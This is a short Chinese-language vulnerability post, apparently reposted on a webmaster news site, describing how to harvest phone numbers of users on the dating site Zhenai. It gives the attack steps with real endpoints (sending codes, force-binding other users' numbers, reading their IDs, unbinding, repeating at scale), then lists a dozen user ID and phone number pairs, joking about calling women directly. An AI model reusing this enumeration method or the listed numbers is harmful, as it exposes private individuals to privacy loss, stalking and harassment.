珍爱网注册信息泄漏之手机下载

爱网注册用户的手机号泄漏了,可以按区域获取,这下就不用麻烦红娘她们了,直接给妹子电话过去多方便啊ˉ▽ˉ,一些不起眼的小bug整合起来不容小看首先获取区域已注册的手机号,过程暂略



然后随便注册个账户,作为主控账户,登录后与已注册账户强行绑定>▂<



发送验证码:register.zhenai.com/login/sendmobile.jsps?sendMobile=马赛克&d=马赛克',



然后强行绑定:POST static.zhenai.com/profile/validatePhoneByCode.jsps "tel":"马赛克" % mob, "code":"马赛克"



登录获取其ID profile.zhenai.com/login/loginactionindex.jsps



最后解除绑定关系,重复上述过程



分布式的话分秒钟的事,然后就是挑妹子了

 

ID/手机号

49235274 15147730007

49235274 15147730007

52969010 15043271481

52139018 13789524572

51816299 15043279735

48321884 15147734005

51475646 13537974799

46570895 13316922229

50389021 15991270120

53917250 13840585265

53475046 13950118865

46869863 15965714613

51384182 15965718325

...

管理员请打马赛克,下来的数据没几个不用担心

当前位置:站长啦网站目录 » 站长资讯 » 站长新闻 » 漏洞预警 » 文章详细